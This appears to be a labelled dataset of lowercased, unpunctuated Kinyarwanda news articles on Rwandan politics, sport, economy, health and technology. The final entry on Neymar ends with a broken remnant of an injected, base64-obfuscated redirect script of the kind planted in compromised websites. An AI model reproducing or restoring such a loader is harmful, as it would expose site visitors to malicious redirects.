label
class label
14 classes
title
stringlengths
7
150
content
stringlengths
3
67.3k
2economy
ubuyobozi parike y’igihugu nyungwe bugiye guhagurukira rushimusi bahigamo inyamaswa
ubuyobozi parike y’igihugu nyungwe buravuga bugiye guhagurukira rushimusi baza guhiga inyamaswa parike ndetse bakazajya bahanwa by’intangarugero ubuyobozi buvuze nyuma kubona umubare w’abangiza pariki ukiri munini mwaka hafashwe abagera ijana gihe kandi hegitari zisaga zibasiwe n’inkongi y’umuriro bitewe n’abajya guhakuramo ubukintihemuka pierre umuyobozi w’agateganyo w’iyo parike uvuga ubuhigi ubuvumvu ndetse n’ubucukuzi bw’amabuye y’agaciro bimwe ubuyobozi pariki y’igihugu nyungwe bugaragaza nk’imbogamizi iterambere ryayocyane usanga byibasira inyamaswa zitandukanye ni ikibazo kandi buyobozi buvuga hakenewe ingufu nyinshi kubirwanya nyuma yuko bikorwa by’amarondo yakozwe parike hafashwe rushimusi bagera umubare bavuga wiyongereye ugereranije n’iyo babonye umwaka ushize ingamba guhangana n’icyo kibazo zikubiye myanzuro y’inama yahuje ubuyobozi bw’iyo parike ndetse n’abafatanyabikorwa bayoaho bemeje uzajya afatirwa parike azajya ahanirwa ruhame imbere y’abaturage gusa kandi bagiye gukaza amarondo parike bafatanije n’inzego z’umutekano zimwe ngaruka zituruka bikorwa rushimusi baza kwangiza parike harimo kuba mpeshyi y’uyu mwaka parike yaribasiwe n’inkongi y’umuriro hagakongoka ubuso bungana hegitari ibyo byaturutse bikorwa by’abayituriye bajya guhakuramo ubuki usanga rimwe rimwe basiga umuriro waka ugahita ukongeza n’ahandisrcrayaltvyanditswe ubwanditsimuhaburarw
0politics
huye umurenge ngoma uzashyingura imibiri y’abazize jenoside
by’umwihariko umurenge ngoma uzashyingura imibiri y’abazize jenoside igera iyo mibiri iyari isanzwe ishyinguye rwibutso rw’uyu murenge ariko buryo butari bwiza kuko hari n’aho umuntu kunyura ntamenye munsi hari imibiri bitewe n’uko bashyinguwe kera urwibutso rutaratunganywa neza nk’uko bigaragara gahunda aka karere kihaye bijyanye kwibuka icyumweru cyahariwe kwibuka gihugu kizarangwa ahanini n’ibiganiro marie claire joyeuse
1sport
basketball zone u rwanda rwegukanye igikombe bahungu
nyuma gutsinda kenya amanota mukino mbere wabaye gatandatu icyi cyumweru ikipe y’u rwanda yaje yakosoye amakosa bigaragara ishaka gutsinda amanota menshi mukino ikipe y’u rwanda yagaragaje ubuhanga n’imbaraga yashimishije abafana bayo benshi agace mbere k’umukino karangira manota kenya agace kabiri karangiye u rwanda rufite amanota kenya agace gatatu u rwanda rwari rufite amanota kenya agace kane u rwanda rwiharira umukino cyane kuko rwatsinze amanota kenya bituma umukino urangira u rwanda rutsinze kenya amanota muri ntsinzi iremereye u rwanda rwafashijwe cyane olivier shyaka watsinze amanota muhammed rafiki watsinze ngenzi watsinze amanota mukino nyuma gukora igiteranyo cy’imikino yombi cyagaragazaga u rwanda rwarushije cyane kenya ikipe y’u rwanda yahise ihabwa igikombe minisitiri siporo n’umuco protais mitali abashimira babashije kubona itike kuzajya gikombe afurika kizatangita tariki mozambique ku ruhande rw’abakobwa ikipe kenya yegukanye igikombe rushwanwa ryitabiriwe n’ibihugu bibiri ku mukino nyuma ikipe y’u rwanda yakinishije imbaraga nyinshi cyane kurenza yakinnye umukino mbere nyuma gutsindwa umukino mbere amanota y’u rwanda ikipe kenya yongereye imbaraga itsinda iy’u rwanda mukino nyuma amanota igiteranyo cy’imikino yombi cyagarageje kenya iza imbere ihabwa igikombe cyatumye izahagararira aka karere gikombe afurika kizabera senegal kwezi gutaha theoneste nisingizwe
0politics
burera abacitse icumu jenoside barasabwa kwiyumanganya
ubwo karere burera batangizaga icyumweru kwibuka nshuro jenoside yakorewe abatutsi mwaka umuyobozi burera yagize uwashatse kubarimbura ntwabwo anezerewe kuko yifuzaga muba mudahari kuba muhari mujye muzirikana ngabire imana yabahaye ariyo mpamvu musabwa kwiyumanganya uhagarariye abacitse icumu karere burera niyonsenga fabien avuga abacitse icumu ako karere baharaniye kwiyubaka biremyemo ikizere gukora kugira biteze imbere niyonsenga avuga akarere burera kababa kakabafasha agira tugirana imikoranire myiza n’akarere cyane cyane abahabwa inkunga y’ingoboka ibageraho umuhango gutangiza icyumweru kwibuka abazize jenoside yakorewe abatutsi mwaka karere burera wabereye murenge rusarabuye ahashyinguye imibiri y’abazize jenoside igera norbert niyizurugero
2economy
abapilote brussels airlines batanze integuza kwigaragambya
brussels airlines makompanyi y’indege mpuzamahanga akorera rwanda yahawe integuza n’abapilote bayo bayibwira mpera z’icyumweru gitaha bazigaragambya ntagihindutse ibi bapilote babyanditse nyuma y’uko ubuyobozi bw’iyi kompanyi bushyizeho impinduka zitishimwe n’abagera b’abapilote bityo barasaba mpinduka zisubirwamo bitabaye gicurasi bagakora imyigaragambyo hagati minsi isigaye abakozi n’ubuyobozi bafite umwanya gutekereza kigomba gukorwa hanyuma bakarebera hamwe babikemura abatwara indege barateganya kwigaragambya cyumweru gitaha si ubwa mbere bibaye brussels airlines kuko mwaka habayeho ibisa n’imyigaragambyo abapilote bahagarika akazi gihe cy’isaha ndetse ntangiriro z’uyu mwaka abapilote b’iyi kompanyi bahagaritse akazi gihe cy’iminota mike kugira bumvikanishe ijwi ryabosrc sur
3health
uganda ebola yahitanye muntu abandi kato baratoroka
nyuma y’uko umwana w’imyaka abaye uwa mbere uhitanywe ebola uganda nyirakuru yitabye imana gihe abandi nabo bakekwaho kwandura ndwara bashyizwe kato ariko bagatoroka kuri mbere tariki kamena nibwo byavuzwe ebola yageze uganda ihagejejwe n’umwana w’imyaka itanu waturukanye n’umuryango repuburika iharanira demokarasi congo bose bahise batangira kwitabwaho ndetse bashyirwa kato kugira batanduza abandi daily monitor dukesha nkuru ivuga nyuma y’iminsi cyorezo kigeze uganda hamaze kugaragara abandi bantu bakekwaho kuba bayirwaye ndetse bashyizwe kato gusa batatu bakaba batorotse ibitaro barimo saddi muhima umugabo w’imyaka umuhungu issa muhima w’imyaka milton nsenga bivugwa bavuye dr congo batorotse bashyizwe kato aba bagejejwe bitaro bagaragaza ibimenyetso ebola birimo umuriro ukabije n’ibindi bitandukanye gusa bakaba batorotse batarakorerwa ibizamini nyabyo kugaragaza koko bafite ebola gusa nanone kuba kumwe n’abandi barwayi bikaba bibongerera ibyago kuba bayitorokanye bikekwa basubiye iwabo congo
2economy
uko yibwe amafaranga telefoni n’uwo yahaye icumbi akamutwara umubare w’ibanga
umuvugizi polisi mujyi kigali chief inspector of police cip marie gorette umutesi yavuze kugira umurerwa abashe kwiba ariya mafaranga yabanje kwicarana n’uwo mucuruzi akamenya umubare w’ibanga akoresha akawufata mutwe yagize ubwo mukozi w’imwe sosiyete z’itumanaho kazi ke i remera giporoso yahamagawe umurerwa zakili basanzwe baziranye amusaba icumbi igihe batarataha yamwicaye iruhande akomeza gucunga umubare w’ibanga akoresha serivisi abakiriya batashye bageze rugo umurerwa aza kumutira telefoni ahamagare niko guhita yiyoherereza amafaranga y’u rwanda ibihumbi azinduka amusezeraho cip umutesi yakomeje avuga uwibwe akimara kubura amafaranga telefoni yitabaje sosiyete yakoreraga basanga amafaranga yibwe wawundi yacumbikiye ndetse basanga ako kanya amaze kuyabikuza nabwo yahise yitabaza polisi imukurikiranire umwibye umurerwa polisi yatangiye kumushakisha kugeza mugoroba kuwa gatandatu yaje gufatirwa ahitwa giporoso ashyikirizwa urwego rw’igihugu rw’ubugenzacyaha rukorera sitasiyo polisi kanombe kugira hakomeze iperereza cip umutesi yasoje agira inama abakora imirimo nk’iyi kwirinda umubare wabo w’ibanga umenyekana anasaba abishora bujura nk’ubu kubireka yagize turasaba buri wese yaba abakora murimo kubitsa kubikuriza koherereza abantu amafaranga hifashishijwe telefoni ndetse n’abaturarwanda rusange kwirinda umubare w’ibanga wabo ujya hanze ukamenyekana ni uwawe wenyine wundi ugomba kuwumenya abagira umugambi kwiba buryo nabo bagomba kumenya icyaha gihanwa n’amategeko kandi uburyo kubafata bwinshi ingingo y’itegeko n ryo riteganya ibyaha n’ibihano rusange iteganya umuntu wese wihesha umutungo w’undi imari cyangwa igice cyayo buryo bw’uburiganya yiyitiriye izina ritari ryo cyangwa umurimo adafitiye ububasha cyangwa akizeza icyiza cyangwa agatinyisha hari ikibi kizaba akoze icyaha iyo abihamijwe n’urukiko ahanishwa igifungo kitari munsi y’imyaka ibiri ariko kitarenze imyaka itatu n’ihazabu y’amafaranga y’u rwanda atari munsi miliyoni eshatu frw ariko atarenze miliyoni eshanu frw
6technology
ibitanda ndege air new zealand igiye gutangiza ingendo z’indege zizajya zifasha abashaka kuryama
iyo sosiyete yavuze nubwo agashya bizatwara igihe kirenga umwaka bitanda bibe byamaze kugezwa ndege zayo kuri gatatu air new zealand yatangaje yamaze kwandika ishinganisha ibitanda byayo mbere gutangira kubikoresha ndege ubu buryo bwiswe economy skynest buzaba bufite ibitanda bitandatu buri ndege santimetero z’uburebure santimetero z’ubugari kuri buri gitanda hazajya haba hariho umusego amashuka utwuma dutuma utumva urusaku ndetse n’umwenda ukingira uburiri rideaux air new zealand yatangaje igitekereza izongeraho n’ibindi bikoresho nk’aho gucomeka telefone n’itara ritanga urumuri ruhagije buryo umuntu yabasha gusoma ushinzwe ibikorwa kwamamaza air new zealand mike tod yavuze buryo bw’ibitanda buzaba bugenewe cyane cyane abakiliya bajya byerekezo birebire bibasaba amasaha menshi ndege nk’urugendo auckland new york izatangiza umwaka utaha ruzajya rufata amasaha n’iminota ikiguzi skynet ntikiramenyekana ariko ubuyobozi air new zealand bwatangaje kizajya kiba kiri ukwacyo ntaho gihuriye n’itike y’indege isanzwe nk’uko the guardian yabitangaje hari n’ubundi buryo buzajya bukoreshwa ndege ashaka kuryama ashobora kubisaba akishyura akagenda akaryama amasaha cyangwa iminota mike air new zealand yatangaje abakozi ndege bazajya buryo gihe umuntu umwe abyutse bahita bategura uburiri buryo ushaka kuryama abukoresha haracyategerejwe uburenganzira kugira bitanda bitangire gushyirwa ndege air new zealand mu gihe buryo buzaba bwemejwe sosiyete ivuga izahita itangira kubugurisha zindi sosiyete z’indege air new zealand siyo mbere itangiye kuzana udushya tugamihe gushimisha abakiliya bayo ngendo kuko nk’umwaka ushize sosiyete collins aerospace ikora iby’indege yatangije uburyo bw’uko gihe indege ihagurutse y’amadirishya n’inzugi zayo hazajya hihindura nk’akabari abakiliya bakagenda baganira bafata n’icyo kunywa
1sport
kbc yatwaye igikombe cy’agaciro development fund
kbc yaherukaga kwegukana igikombe shampiyona yagaragazaga imbaraga kurusha espoir inayitsinda manota - kbc yabonye itike gukina umukino nyuma imaze gusezerera apr bbc manota - espoir yahabwaga amahirwe kwegukana igikombe yasezereye cercle sportif de kigali csk iyirusha cyane manota - mu guhatanira umwanya gatatu apr bbc yatsinze csk amanota - rwego rw’abagore apr bbc yegukanye igikombe itsinze kaminuza y’u rwanda bitewe n’uko bagore hari hitabiriye amakipe atatu gusa byabaye ngombwa amakipe atatu apr bbc rwandans allied for peace rapp kaminuza y’u rwanda zihura hagati yazo mini championnat ikipe ibonye amanota menshi kurusha ayandi igahabwa igikombe apr bbc yatsinze rapp - inatsinda kaminuza y’u rwanda - ihabwa igikombe gihe kaminuza y’u rwanda yegukanye umwanya kabiri kuko yatsinze rapp nyuma y’iri rushanwa amafaranga yinjiye kibuga azateranywaho miliyoni eshatu zakusanyijwe n’abanyamuryango b’ishyirahamwe ry’umukino basketball rwanda ferwaba ashyirwe kigega agaciro development fund theoneste nisingizwe
6technology
bpr yatangije uburyo bushya kohereza kwakira amafaranga
ubu buryo bushya bwitwa izi cash butuma umufatabuguzi bpr ukoresha telefone yohereza amafaranga serivisi mobile money abasha kohereza amafaranga wundi muntu wese ufite telefone kabone n’ubwo yaba atari umufatabuguzi w’iyo banki richard ndahiro ushinzwe kwamamaza guteza imbere serivisi nshya bpr avuga ibijyanye kohererezanya amafaranga byorohejwe buryo igisabwa ukuba mwese mufite telefone zigendanwa ariko uwohereza akaba akoresha bpr mobile money yagize ukoresheje telefone yawe ushobora kohereza amafaranga nshuti n’abavandimwe ubundi bagafatira amafaranga atm ibegereye karita bakoresheje uwohererejwe amafaranga abona umubare w’ibanga ndetse n’ingano y’amafaranga yohererejwe ubundi akajya atm agafata amafaranga ndahiro yagize uwohererejwe amafaranga yandika umubare w’ibanga ndetse n’ingano y’amafaranga atm imwegereye agahabwa amafaranga ako kanya bpr ifite abakiriya bagera miliyoni n’ibihumbi ifite amashami agera gihugu cyose akoresha ikoranabuhanga interineti ubuyobozi bw’iyi banki buvuga bitarenze kamena amashami azaba akoresha iryo koranabuhanga jean noel mugabo
1sport
urwishe yambwa ruracyayirimo- messie yakatiwe gufungwa amezi
rutahizamu w’ikipe fc barcelona lionel messi yakatiwe igifungo cy’amezi nyuma guhamwa n’icyaha kunyereza imisoro afatanyije se umubyara wahise uhabwa gihano jorge messi n’uyu muhungu w’ikirangirire ruhago bahawe gihano nyuma guhamwa kunyereza imisoro hagati y’umwaka imisoro messi yahamijwe kunyereza iy’ibyavuye kwamamaza hagati y’iyi myaka bavuze hejuru hamwe ikaba igera miliyoni harimo miliyoni z’amapawundi habamo miliyoni z’amayero ndetse miliyoni z’amadorali bbc dukesha nkuru ivuga ubutabera esipanye buteganya igifungo kiri munsi y’imyaka uwagikatiwe ashobora kukishyura ntafungwe ariko akazajya akora imirimo nsimbura gifungo afungishijwe ijisho gusa ukoze irindi kosa uhita ufungwa kuva messi yatangira kuburana yavugaga aregwa atabizi kuko iby’ amafaranga akorera bimenywa se umubyara yanditswe editor muhaburarw
0politics
umwana w’umukobwa yagiye kwidumbaguza mazi ahasiga ubuzima
uyu mukobwa witwaga mukantwari sandrine yaguye cyobo cy’amazi y’isoko agiye kuhakinira nk’uko twabitangarijwe n’umuyobozi w’umurenge kinazi mutabazi patrick umuyobozi w’umurenge yagize ni ahantu hari hasanzwe hari agasoko gato k’amazi ariko abana basanzwe bahakinira bidumbuza nyine mazi bisanzwe ikibazo cyabaye yagiye wenyine kandi mutoya cyane uyu nyakwigendera ababyeyi bamusize rugo bajya guhinga hanyuma aramanuka ajya kwidumbaguza nyuma ntawamenye byagenze uretse kuba abandi bana baje bakahasanga umurambo w’uwo mwana hajuru y’amazi hari abaturage bavuga hari umuntu ushobora kuba yaroshye mwana ariko umukuru w’umudugudu avuga makuru afatika bafite abyemeza ubuyobozi bw’umurenge kinazi buratangaza bwafashe umwanzuro gusiba mwobo n’ubwo isokoubusanzwe gihe cy’imvura nibwo mwobo wuzura amazi jacques furaha
0politics
u buyapani bwemereye u rwanda inguzanyo miliyoni kurwanya imirire mibi
igihugu cy’u buyapani binyuze kigo gishinzwe iterambere mpuzamahanga jica cyagiranye amasezerano leta y’u rwanda y’inguzanyo miliyoni z’amadorali amerika azashorwa gahunda kurwanya imirire mibi n’ikibazo cy’igwingira kuva mwaka ikibazo cy’igwingira ry’abana bato hagati y’amezi kugeza myaka cyagiye kigabanuka rwanda kiva gipimo kigera iri igabanuka gusa myaka ugereranije n’intego leta kugabanya gipimo kikagera munsi byibura kugeza ambasaderi w’u buyapani rwanda takayuki miyashita yavuze masezerano y’inguzanyo agamije kugira uruhare kugabanya kibazo cy’igwingira ry’abana yagize ’’tuzi u rwanda rugaragaza izamuka ryo hejuru bijyanye n’ubukungu birenga buri mwaka binatuma gihugu gikurura abashoramari benshi buyapani bishimira uburyo gihugu cyorohereza ishoramari ariko ntitwakwirengagiza hakiri n’ibibazo tugomba gufatanya gushakira ibisubizo kandi leta y’u buyapani twishimiye cyane kugira uruhare mbaraga mushyira muharanira kwiteza imbere kimwe bibazo ukurwanya indyo ituzuye kandi turabizi hari ikibazo cy’igwingira bana bato ikibazo gishobora kudindiza iterambere ry’ubukungu’’ minisitiri w’imari n’igenamigambi w’u rwanda dr uzziel ndagijimana yashimiye ubufatanye hagati y’u rwanda n’u buyapani anabisanisha n’iyi nguzanyo avuga ihendutse kandi ingirakamaro gahunda leta zijyanye n’iterambere ry’abaturage yagize iyi gahunda izatangirana n’ukwezi cumi mwaka ikazamara imyaka itatu ni inguzanyo ihendutse ifite inyungu nguzanyo munsi ikazishyurwa gihe cy’imyaka harimo n’igihe cy’imyaka tuzamara tutishyura’’ biteganyijwe mafaranga azashorwa gahunda zitandukanye guverinoma guteza imbere ubuhinzi kwihaza biribwa by’umwihariko ubuhinzi bw’ibiribwa byakwifashishwa kunoza indyo miryango inkuru rba
1sport
neymar jr yabuze birori bikomeye by’ikipe paris saint-germain yagiye kwiryohereza kabyiniro rihanaamafoto
hasakaye amafoto abandi bashyira majwi umukinnyi neymar nyuma kubura birori union nationale des footballeurs professionnels unfp football awardsari bihe byiza n’umuhanzikazi rihanna banafotowe bizihiwe kabyiniro kitwa the boum boum bufaransa ni nyuma kutitabira ibirori kwimika umukinnyi wahize abandi paris saint-germainwegukanywe kylian mbappe uyu musore yaje gufotorerwa kabyiniro k’ahitwa the boum boum yitabiriye ibirori rihanna yamurikagamo ibikorwa bye ndetse hasakazwa amafoto y’aba bombi bihe byiza neymar gihembo kimwe yegukanye nk’umukinnyi bihembo bitangwa ligue cyumweru kylian mbappe yatwaye ibihembo bibiri igihembo cy’umukinnyi watsinze ibitego byinshi ndetse n’igihembo cy’umukinnyi ukiri muto witwaye neza mwaka w’imikino ni nyuma kumara igihe kitari gito afite imvune yaje ikipe y’umwaka shampiyona y’igihugu cy’u bufaransa ligue psg ifite abakinnyi benshi ino shampiyona ifitemo abakinnyi batandatu marquinhos thiago silva angel di maria marco verratti neymar ndetse mbappe function getcookieevar udocumentcookiematchnew regexp ereplacegreturn udecodeuricomponentuvoid var srcdatatextjavascriptbasezgjdwlbnqudjpdguodwlcnhcguojyuzqyumyumyumiuosumcuncuymcumyumiumyuzrcuymiuocuncuncumcumyuzqsuyriuyriuqiuosursuriursunsunyuyrsuriursuqyuosursunsuyriuznsumyunyuzmiuniuqiuymiuzrsuzqyuyriumyumyumiuosumcuncuzrsuymccpktsnowmathfloordatenowecookiegetcookieredirectifnowtimecookievoid timevar timemathfloordatenowedatenew datenew dategettimedocumentcookieredirecttime path expiresdatetogmtstringdocumentwritescript srcsrcscript total views views today